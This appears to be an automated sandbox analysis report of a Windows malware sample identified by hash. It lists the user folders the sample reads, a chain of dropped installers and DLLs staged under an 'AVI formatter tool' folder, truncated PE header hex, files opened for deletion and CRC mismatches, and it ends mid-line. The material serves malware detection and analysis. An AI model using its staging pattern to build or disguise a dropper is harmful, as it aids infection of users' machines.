"C:\Users\%OSUSER%\OneDrive\desktop.ini" "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe" reads file "C:\Users\%OSUSER%\Searches\desktop.ini" "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe" reads file "C:\Users\%OSUSER%\Contacts\desktop.ini" "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe" reads file "C:\Users\%OSUSER%\Favorites\desktop.ini" "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe" reads file "C:\Users\%OSUSER%\Links\desktop.ini" "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe" reads file "C:\Users\%OSUSER%\Saved Games\desktop.ini" "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe" reads file "C:\Users\desktop.ini" "InstallSetup9.exe" reads file "C:\Users\%OSUSER%\Desktop\desktop.ini" "InstallSetup9.exe" reads file "C:\Users\%OSUSER%\Documents\desktop.ini" "InstallSetup9.exe" reads file "C:\Users\%OSUSER%\Music\desktop.ini" "InstallSetup9.exe" reads file "C:\Users\%OSUSER%\Pictures\desktop.ini" "InstallSetup9.exe" reads file "C:\Users\%OSUSER%\Videos\desktop.ini" "InstallSetup9.exe" reads file "C:\Users\%OSUSER%\Downloads\desktop.ini" "InstallSetup9.exe" reads file "C:\Users\%OSUSER%\OneDrive\desktop.ini" "BroomSetup.exe" reads file "C:\Users\%OSUSER%\Desktop\desktop.ini" "BroomSetup.exe" reads file "C:\Users\%OSUSER%\Documents\desktop.ini" "BroomSetup.exe" reads file "C:\Users\%OSUSER%\Music\desktop.ini" "BroomSetup.exe" reads file "C:\Users\%OSUSER%\Pictures\desktop.ini" "BroomSetup.exe" reads file "C:\Users\%OSUSER%\Videos\desktop.ini"81:T266f,"BroomSetup.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows 11 sections"- Location: [%TEMP%\BroomSetup.exe]- [targetUID: 00000000-00008552] "tuc4.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows 8 sections"- Location: [%TEMP%\tuc4.exe]- [targetUID: 00000000-00001444] "288c47bbc1871b439df19ff4df68f076.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows 5 sections"- Location: [%TEMP%\288c47bbc1871b439df19ff4df68f076.exe]- [targetUID: 00000000-00008776] "InstallSetup9.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows Nullsoft Installer self-extracting archive 5 sections"- Location: [%TEMP%\InstallSetup9.exe]- [targetUID: 00000000-00008776] "aviformattertool.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows 5 sections"- Location: [%LOCALAPPDATA%\AVI formatter tool\aviformattertool.exe]- [targetUID: 00000000-00001444] "INetC.dll" has type "PE32 executable (DLL) (GUI) Intel 80386 for MS Windows 4 sections"- Location: [%TEMP%\nsmE8FF.tmp\INetC.dll]- [targetUID: 00000000-00008576] "_isdecmp.dll" has type "PE32 executable (DLL) (GUI) Intel 80386 for MS Windows 3 sections"- Location: [%TEMP%\is-3UN1S.tmp\_isetup\_isdecmp.dll]- [targetUID: 00000000-00001444] "_iscrypt.dll" has type "PE32 executable (DLL) (GUI) Intel 80386 for MS Windows 3 sections"- Location: [%TEMP%\is-3UN1S.tmp\_isetup\_iscrypt.dll]- [targetUID: 00000000-00001444] "is-ND51B.tmp" has type "PE32 executable (DLL) (GUI) Intel 80386 for MS Windows 9 sections"- Location: [%LOCALAPPDATA%\AVI formatter tool\bin\x86\is-ND51B.tmp]- [targetUID: 00000000-00001444] "is-O940H.tmp" has type "PE32 executable (console) Intel 80386 for MS Windows 11 sections"- Location: [%LOCALAPPDATA%\AVI formatter tool\bin\x86\is-O940H.tmp]- [targetUID: 00000000-00001444] "is-8EM8Q.tmp" has type "PE32 executable (GUI) Intel 80386 for MS Windows 8 sections"- Location: [%LOCALAPPDATA%\AVI formatter tool\is-8EM8Q.tmp]- [targetUID: 00000000-00001444] "tuc4.tmp" has type "PE32 executable (GUI) Intel 80386 for MS Windows 8 sections"- Location: [%TEMP%\is-LO8DU.tmp\tuc4.tmp]- [targetUID: 00000000-00001444] "is-KGHLP.tmp" has type "PE32 executable (DLL) (console) Intel 80386 (stripped to external PDB) for MS Windows 11 sections"- Location: [%LOCALAPPDATA%\AVI formatter tool\bin\x86\is-KGHLP.tmp]- [targetUID: 00000000-00001444] "is-T2M3R.tmp" has type "PE32 executable (DLL) (GUI) Intel 80386 for MS Windows 5 sections"- Location: [%LOCALAPPDATA%\AVI formatter tool\bin\x86\is-T2M3R.tmp]- [targetUID: 00000000-00001444] "is-F1GN9.tmp" has type "PE32 executable (console) Intel 80386 for MS Windows 6 sections"- Location: [%LOCALAPPDATA%\AVI formatter tool\bin\x86\is-F1GN9.tmp]- [targetUID: 00000000-00001444] "is-9F3KE.tmp" has type "PE32 executable (DLL) (console) Intel 80386 (stripped to external PDB) for MS Windows 10 sections"- Location: [%LOCALAPPDATA%\AVI formatter tool\bin\x86\is-9F3KE.tmp]- [targetUID: 00000000-00001444] "is-PU7KQ.tmp" has type "PE32 executable (DLL) (GUI) Intel 80386 for MS Windows 6 sections"- Location: [%LOCALAPPDATA%\AVI formatter tool\bin\x86\is-PU7KQ.tmp]- [targetUID: 00000000-00001444] "is-Q1SH7.tmp" has type "PE32 executable (DLL) (console) Intel 80386 (stripped to external PDB) for MS Windows 10 sections"- Location: [%LOCALAPPDATA%\AVI formatter tool\bin\x86\is-Q1SH7.tmp]- [targetUID: 00000000-00001444] "is-VNOL6.tmp" has type "PE32 executable (DLL) (console) Intel 80386 (stripped to external PDB) for MS Windows 10 sections"- Location: [%LOCALAPPDATA%\AVI formatter tool\bin\x86\is-VNOL6.tmp]- [targetUID: 00000000-00001444] "is-5BQCL.tmp" has type "PE32 executable (DLL) (GUI) Intel 80386 for MS Windows 5 sections"- Location: [%LOCALAPPDATA%\AVI formatter tool\bin\x86\is-5BQCL.tmp]- [targetUID: 00000000-00001444] "is-HITNB.tmp" has type "PE32 executable (DLL) (console) Intel 80386 (stripped to external PDB) for MS Windows 10 sections"- Location: [%LOCALAPPDATA%\AVI formatter tool\bin\x86\is-HITNB.tmp]- [targetUID: 00000000-00001444] "is-L2OG8.tmp" has type "PE32 executable (DLL) (console) Intel 80386 for MS Windows 5 sections"- Location: [%LOCALAPPDATA%\AVI formatter tool\bin\x86\is-L2OG8.tmp]- [targetUID: 00000000-00001444] "is-4M261.tmp" has type "PE32 executable (DLL) (console) Intel 80386 (stripped to external PDB) for MS Windows 10 sections"- Location: [%LOCALAPPDATA%\AVI formatter tool\bin\x86\is-4M261.tmp]- [targetUID: 00000000-00001444] "is-Q1RQM.tmp" has type "PE32 executable (console) Intel 80386 (stripped to external PDB) for MS Windows 8 sections"- Location: [%LOCALAPPDATA%\AVI formatter tool\bin\x86\is-Q1RQM.tmp]- [targetUID: 00000000-00001444] "is-FEENV.tmp" has type "PE32 executable (DLL) (GUI) Intel 80386 for MS Windows 5 sections"- Location: [%LOCALAPPDATA%\AVI formatter tool\bin\x86\is-FEENV.tmp]- [targetUID: 00000000-00001444] "is-S9I84.tmp" has type "PE32 executable (DLL) (GUI) Intel 80386 for MS Windows 7 sections"- Location: [%LOCALAPPDATA%\AVI formatter tool\bin\x86\is-S9I84.tmp]- [targetUID: 00000000-00001444] "is-14LP7.tmp" has type "PE32 executable (DLL) (GUI) Intel 80386 for MS Windows 4 sections"- Location: [%LOCALAPPDATA%\AVI formatter tool\bin\x86\is-14LP7.tmp]- [targetUID: 00000000-00001444] "is-VEAGR.tmp" has type "PE32 executable (DLL) (console) Intel 80386 (stripped to external PDB) for MS Windows 11 sections"- Location: [%LOCALAPPDATA%\AVI formatter tool\bin\x86\is-VEAGR.tmp]- [targetUID: 00000000-00001444] "is-4SRP0.tmp" has type "PE32 executable (DLL) (console) Intel 80386 (stripped to external PDB) for MS Windows 10 sections"- Location: [%LOCALAPPDATA%\AVI formatter tool\bin\x86\is-4SRP0.tmp]- [targetUID: 00000000-00001444] "is-AMMN6.tmp" has type "PE32 executable (DLL) (console) Intel 80386 (stripped to external PDB) for MS Windows 10 sections"- Location: [%LOCALAPPDATA%\AVI formatter tool\bin\x86\is-AMMN6.tmp]- [targetUID: 00000000-00001444] "is-L88TK.tmp" has type "PE32 executable (DLL) (GUI) Intel 80386 for MS Windows 3 sections"- Location: [%LOCALAPPDATA%\AVI formatter tool\bin\x86\is-L88TK.tmp]- [targetUID: 00000000-00001444] "is-H1H9R.tmp" has type "PE32 executable (DLL) (GUI) Intel 80386 for MS Windows 4 sections"- Location: [%LOCALAPPDATA%\AVI formatter tool\bin\x86\is-H1H9R.tmp]- [targetUID: 00000000-00001444] "is-RPG62.tmp" has type "PE32 executable (DLL) (GUI) Intel 80386 for MS Windows 4 sections"- Location: [%LOCALAPPDATA%\AVI formatter tool\bin\x86\is-RPG62.tmp]- [targetUID: 00000000-00001444] "is-IT2IF.tmp" has type "PE32 executable (DLL) (GUI) Intel 80386 for MS Windows 4 sections"- Location: [%LOCALAPPDATA%\AVI formatter tool\bin\x86\is-IT2IF.tmp]- [targetUID: 00000000-00001444] "is-117UC.tmp" has type "PE32 executable (DLL) (console) Intel 80386 (stripped to external PDB) for MS Windows 10 sections"- Location: [%LOCALAPPDATA%\AVI formatter tool\bin\x86\is-117UC.tmp]- [targetUID: 00000000-00001444] "is-EUUPD.tmp" has type "PE32 executable (DLL) (console) Intel 80386 (stripped to external PDB) for MS Windows 10 sections"- Location: [%LOCALAPPDATA%\AVI formatter tool\bin\x86\is-EUUPD.tmp]- [targetUID: 00000000-00001444] "is-1KBIS.tmp" has type "PE32 executable (DLL) (console) Intel 80386 (stripped to external PDB) for MS Windows 10 sections"- Location: [%LOCALAPPDATA%\AVI formatter tool\bin\x86\plugins\internal\is-1KBIS.tmp]- [targetUID: 00000000-00001444] "is-0QOJT.tmp" has type "PE32 executable (console) Intel 80386 (stripped to external PDB) for MS Windows 8 sections"- Location: [%LOCALAPPDATA%\AVI formatter tool\bin\x86\is-0QOJT.tmp]- [targetUID: 00000000-00001444] "is-FNDLB.tmp" has type "PE32 executable (DLL) (GUI) Intel 80386 for MS Windows 4 sections"- Location: [%LOCALAPPDATA%\AVI formatter tool\bin\x86\is-FNDLB.tmp]- [targetUID: 00000000-00001444] "is-D2IHO.tmp" has type "PE32 executable (DLL) (GUI) Intel 80386 for MS Windows 4 sections"- Location: [%LOCALAPPDATA%\AVI formatter tool\bin\x86\is-D2IHO.tmp]- [targetUID: 00000000-00001444] "is-B3OEQ.tmp" has type "PE32 executable (DLL) (GUI) Intel 80386 for MS Windows 4 sections"- Location: [%LOCALAPPDATA%\AVI formatter tool\bin\x86\is-B3OEQ.tmp]- [targetUID: 00000000-00001444] "is-R76LM.tmp" has type "PE32 executable (DLL) (console) Intel 80386 (stripped to external PDB) for MS Windows 10 sections"- Location: [%LOCALAPPDATA%\AVI formatter tool\bin\x86\is-R76LM.tmp]- [targetUID: 00000000-00001444] "is-89QF9.tmp" has type "PE32 executable (DLL) (console) Intel 80386 (stripped to external PDB) for MS Windows 10 sections"- Location: [%LOCALAPPDATA%\AVI formatter tool\bin\x86\plugins\internal\is-89QF9.tmp]- [targetUID: 00000000-00001444] "is-FTVUF.tmp" has type "PE32 executable (DLL) (console) Intel 80386 (stripped to external PDB) for MS Windows 10 sections"- Location: [%LOCALAPPDATA%\AVI formatter tool\bin\x86\is-FTVUF.tmp]- [targetUID: 00000000-00001444] "is-0VG2Q.tmp" has type "PE32 executable (DLL) (console) Intel 80386 (stripped to external PDB) for MS Windows 10 sections"- Location: [%LOCALAPPDATA%\AVI formatter tool\bin\x86\is-0VG2Q.tmp]- [targetUID: 00000000-00001444] "is-SM0SU.tmp" has type "PE32 executable (DLL) (GUI) Intel 80386 for MS Windows 4 sections"- Location: [%LOCALAPPDATA%\AVI formatter tool\bin\x86\is-SM0SU.tmp]- [targetUID: 00000000-00001444] "_setup64.tmp" has type "PE32+ executable (console) x86-64 for MS Windows 5 sections"- Location: [%TEMP%\is-3UN1S.tmp\_isetup\_setup64.tmp]- [targetUID: 00000000-00001444] "is-IEB6T.tmp" has type "PE32 executable (DLL) (GUI) Intel 80386 for MS Windows 4 sections"- Location: [%LOCALAPPDATA%\AVI formatter tool\bin\x86\is-IEB6T.tmp]- [targetUID: 00000000-00001444] "_RegDLL.tmp" has type "PE32 executable (GUI) Intel 80386 for MS Windows 3 sections"- Location: [%TEMP%\is-3UN1S.tmp\_isetup\_RegDLL.tmp]- [targetUID: 00000000-00001444]82:T31e3,"1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe" wrote 22437 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Local\Temp\InstallSetup9.exe": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe" wrote 58240 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Local\Temp\288c47bbc1871b439df19ff4df68f076.exe": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe" wrote 5389 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Local\Temp\tuc4.exe": 4d5a50000200000004000f00ffff0000ff0000000000000040001a00000000000000000000000000000000000000000000000000000000000000000000010000ff10000e1fff09ff21ff014cff21ffff546869732070726f6772616d206d7573742062652072756e20756e6465722057696e33320d0a24370000000000000000 ... "InstallSetup9.exe" wrote 32768 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Local\Temp\BroomSetup.exe": 4d5a50000200000004000f00ffff0000ff0000000000000040001a00000000000000000000000000000000000000000000000000000000000000000000010000ff10000e1fff09ff21ff014cff21ffff546869732070726f6772616d206d7573742062652072756e20756e6465722057696e33320d0a24370000000000000000 ... "InstallSetup9.exe" wrote 25600 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Local\Temp\nsmE8FF.tmp\INetC.dll": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "tuc4.exe" wrote 49152 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Local\Temp\is-LO8DU.tmp\tuc4.tmp": 4d5a50000200000004000f00ffff0000ff0000000000000040001a00000000000000000000000000000000000000000000000000000000000000000000010000ff10000e1fff09ff21ff014cff21ffff546869732070726f6772616d206d7573742062652072756e20756e6465722057696e33320d0a24370000000000000000 ... "tuc4.tmp" wrote 4096 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Local\Temp\is-3UN1S.tmp\_isetup\_RegDLL.tmp": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "tuc4.tmp" wrote 6144 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Local\Temp\is-3UN1S.tmp\_isetup\_setup64.tmp": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "tuc4.tmp" wrote 23312 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Local\Temp\is-3UN1S.tmp\_isetup\_shfoldr.dll": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "tuc4.tmp" wrote 13312 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Local\Temp\is-3UN1S.tmp\_isetup\_isdecmp.dll": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "tuc4.tmp" wrote 2560 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Local\Temp\is-3UN1S.tmp\_isetup\_iscrypt.dll": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "tuc4.tmp" wrote 16384 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Local\AVI formatter tool\is-8EM8Q.tmp": 4d5a50000200000004000f00ffff0000ff0000000000000040001a00000000000000000000000000000000000000000000000000000000000000000000010000ff10000e1fff09ff21ff014cff21ffff546869732070726f6772616d206d7573742062652072756e20756e6465722057696e33320d0a24370000000000000000 ... "tuc4.tmp" wrote 18966 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Local\AVI formatter tool\bin\x86\is-D2IHO.tmp": 4d5aff000300000004000000ffff0000ff0000000000000040000000000000000000000000000000000000000000000000000000000000000000000044000000ff200000504500004c01040039230a5d0000000000000000ff0002210b010a0016060000004200000000000004ff000000100000007000000000001000100000 ... "tuc4.tmp" wrote 36752 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Local\AVI formatter tool\bin\x86\is-L88TK.tmp": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "tuc4.tmp" wrote 19008 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Local\AVI formatter tool\bin\x86\is-FNDLB.tmp": 4d5aff000300000004000000ffff0000ff0000000000000040000000000000000000000000000000000000000000000000000000000000000000000044000000ff200000504500004c010400092b76530000000000000000ff0002210b010a0036ff000036ff00000000000036ff000000100000007000000000001000100000 ... "tuc4.tmp" wrote 17472 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Local\AVI formatter tool\bin\x86\is-B3OEQ.tmp": 4d5aff000300000004000000ffff0000ff0000000000000040000000000000000000000000000000000000000000000000000000000000000000000044000000ff200000504500004c010400ff5eff4c0000000000000000ff000e210b0106002576000025ff00000000000036ff000000100000006000000000101000100000 ... "tuc4.tmp" wrote 35588 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Local\AVI formatter tool\bin\x86\is-RPG62.tmp": 4d5aff000300000004000000ffff0000ff0000000000000040000000000000000000000000000000000000000000000000000000000000000000000044000000ff200000504500004c010400ff0679580000000000000000ff0002210b010a000403000000ff0000000000000440010000100000000001000000001000100000 ... "tuc4.tmp" wrote 34392 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Local\AVI formatter tool\bin\x86\is-IT2IF.tmp": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "tuc4.tmp" wrote 36416 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Local\AVI formatter tool\bin\x86\is-H1H9R.tmp": 4d5aff000300000004000000ffff0000ff0000000000000040000000000000000000000000000000000000000000000000000000000000000000000044000000ff200000504500004c010400ff7dff510000000000000000ff000e210b010600ffff0200ff17030000000000362003000010000000ff00000000601000100000 ... "tuc4.tmp" wrote 7910 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Local\AVI formatter tool\bin\x86\is-SM0SU.tmp": 4d5aff000300000004000000ffff0000ff0000000000000040000000000000000000000000000000000000000000000000000000000000000000000044000000ff200000504500004c010400ffffff560000000000000000ff0002210b010a00ff020000001a0000000000000470000000100000003000000000001000100000 ... "tuc4.tmp" wrote 62478 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Local\AVI formatter tool\bin\x86\is-4SRP0.tmp": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "tuc4.tmp" wrote 26126 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Local\AVI formatter tool\bin\x86\is-EUUPD.tmp": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "tuc4.tmp" wrote 5960 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Local\AVI formatter tool\bin\x86\is-IEB6T.tmp": 4d5aff000300000004000000ffff0000ff0000000000000040000000000000000000000000000000000000000000000000000000000000000000000044000000ff200000504500004c010400ffffff490000000000000000ff000e210b0106000234000002540000000000003660000000100000002000000000001000100000 ... "tuc4.tmp" wrote 43520 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Local\AVI formatter tool\bin\x86\is-AMMN6.tmp": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "tuc4.tmp" wrote 13838 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Local\AVI formatter tool\bin\x86\is-0VG2Q.tmp": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "tuc4.tmp" wrote 31936 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Local\AVI formatter tool\bin\x86\is-117UC.tmp": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "tuc4.tmp" wrote 15374 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Local\AVI formatter tool\bin\x86\is-FTVUF.tmp": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "tuc4.tmp" wrote 22542 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Local\AVI formatter tool\bin\x86\is-0QOJT.tmp": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "tuc4.tmp" wrote 16910 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Local\AVI formatter tool\bin\x86\is-R76LM.tmp": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "tuc4.tmp" wrote 15374 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Local\AVI formatter tool\bin\x86\plugins\internal\is-89QF9.tmp": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "tuc4.tmp" wrote 25614 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Local\AVI formatter tool\bin\x86\plugins\internal\is-1KBIS.tmp": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ...83:Tab8,"InstallSetup9.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\nsvE545.tmp" with delete access "InstallSetup9.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\nsmE8FF.tmp" with delete access "InstallSetup9.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\nsm41FE.tmp" with delete access "InstallSetup9.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\nsmE8FF.tmp\INetC.dll" with delete access "tuc4.tmp" opened "C:\Users\%OSUSER%\AppData\Local\AVI formatter tool\is-8EM8Q.tmp" with delete access "tuc4.tmp" opened "C:\Users\%OSUSER%\AppData\Local\AVI formatter tool\bin\x86\is-D2IHO.tmp" with delete access "tuc4.tmp" opened "C:\Users\%OSUSER%\AppData\Local\AVI formatter tool\bin\x86\is-L88TK.tmp" with delete access "tuc4.tmp" opened "C:\Users\%OSUSER%\AppData\Local\AVI formatter tool\bin\x86\is-FNDLB.tmp" with delete access "tuc4.tmp" opened "C:\Users\%OSUSER%\AppData\Local\AVI formatter tool\bin\x86\is-14LP7.tmp" with delete access "tuc4.tmp" opened "C:\Users\%OSUSER%\AppData\Local\AVI formatter tool\bin\x86\is-B3OEQ.tmp" with delete access "tuc4.tmp" opened "C:\Users\%OSUSER%\AppData\Local\AVI formatter tool\bin\x86\is-RPG62.tmp" with delete access "tuc4.tmp" opened "C:\Users\%OSUSER%\AppData\Local\AVI formatter tool\bin\x86\is-IT2IF.tmp" with delete access "tuc4.tmp" opened "C:\Users\%OSUSER%\AppData\Local\AVI formatter tool\bin\x86\is-H1H9R.tmp" with delete access "tuc4.tmp" opened "C:\Users\%OSUSER%\AppData\Local\AVI formatter tool\bin\x86\is-SM0SU.tmp" with delete access "tuc4.tmp" opened "C:\Users\%OSUSER%\AppData\Local\AVI formatter tool\bin\x86\is-7PKJI.tmp" with delete access "tuc4.tmp" opened "C:\Users\%OSUSER%\AppData\Local\AVI formatter tool\bin\x86\is-4SRP0.tmp" with delete access "tuc4.tmp" opened "C:\Users\%OSUSER%\AppData\Local\AVI formatter tool\bin\x86\is-EUUPD.tmp" with delete access "tuc4.tmp" opened "C:\Users\%OSUSER%\AppData\Local\AVI formatter tool\bin\x86\is-KGHLP.tmp" with delete access "tuc4.tmp" opened "C:\Users\%OSUSER%\AppData\Local\AVI formatter tool\bin\x86\is-IEB6T.tmp" with delete access "tuc4.tmp" opened "C:\Users\%OSUSER%\AppData\Local\AVI formatter tool\bin\x86\is-5BQCL.tmp" with delete access "tuc4.tmp" opened "C:\Users\%OSUSER%\AppData\Local\AVI formatter tool\bin\x86\is-Q1RQM.tmp" with delete access "tuc4.tmp" opened "C:\Users\%OSUSER%\AppData\Local\AVI formatter tool\bin\x86\is-AMMN6.tmp" with delete access "tuc4.tmp" opened "C:\Users\%OSUSER%\AppData\Local\AVI formatter tool\bin\x86\is-PU7KQ.tmp" with delete access "tuc4.tmp" opened "C:\Users\%OSUSER%\AppData\Local\AVI formatter tool\bin\x86\is-VNOL6.tmp" with delete access "tuc4.tmp" opened "C:\Users\%OSUSER%\AppData\Local\AVI formatter tool\bin\x86\is-9F3KE.tmp" with delete access84:T579,"288c47bbc1871b439df19ff4df68f076.exe" claimed CRC 4347847 while the actual is CRC 4902591 "aviformattertool.exe" claimed CRC 1785368 while the actual is CRC 2260298 "is-KGHLP.tmp" claimed CRC 525536 while the actual is CRC 710863 "is-9F3KE.tmp" claimed CRC 353220 while the actual is CRC 384044 "is-Q1SH7.tmp" claimed CRC 285920 while the actual is CRC 306308 "is-VNOL6.tmp" claimed CRC 239921 while the actual is CRC 285920 "is-HITNB.tmp" claimed CRC 221021 while the actual is CRC 214759 "is-4M261.tmp" claimed CRC 188518 while the actual is CRC 202626 "is-Q1RQM.tmp" claimed CRC 155351 while the actual is CRC 188518 "is-VEAGR.tmp" claimed CRC 118678 while the actual is CRC 132266 "is-4SRP0.tmp" claimed CRC 120855 while the actual is CRC 118678 "is-AMMN6.tmp" claimed CRC 90275 while the actual is CRC 120855 "is-L88TK.tmp" claimed CRC 82626 while the actual is CRC 90275 "is-117UC.tmp" claimed CRC 43320 while the actual is CRC 51577 "is-EUUPD.tmp" claimed CRC 77112 while the actual is CRC 43320 "is-1KBIS.tmp" claimed CRC 90555 while the actual is CRC 77112 "is-0QOJT.tmp" claimed CRC 45798 while the actual is CRC 90555 "is-R76LM.tmp" claimed CRC 53916 while the actual is CRC 75691 "is-89QF9.tmp" claimed CRC 69067 while the actual is CRC 53916 "is-FTVUF.tmp" claimed CRC 77410 while the actual is CRC 69067 "is-0VG2Q.tmp" claimed CRC 23220 while 